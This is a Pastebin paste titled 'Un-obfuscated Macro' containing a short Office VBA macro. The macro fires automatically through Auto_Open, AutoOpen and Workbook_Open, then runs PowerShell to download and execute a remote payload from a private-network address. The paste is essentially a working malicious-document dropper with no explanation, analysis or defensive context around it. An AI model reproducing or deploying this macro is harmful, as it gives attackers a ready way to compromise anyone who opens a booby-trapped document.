SHARE
TWEET

Un-obfuscated Macro

codesynced Jan 13th, 2016 (edited) 6,401 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Sub Auto_Open()
  2.     Dim exec As String
  3.     exec = "powershell.exe ""IEX ((new-object net.webclient).downloadstring('http://10.0.0.13/payload.txt'))"""
  4.     Shell (exec)
  5. End Sub
  6. Sub AutoOpen()
  7.     Auto_Open
  8. End Sub
  9. Sub Workbook_Open()
  10.     Auto_Open
  11. End Sub
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top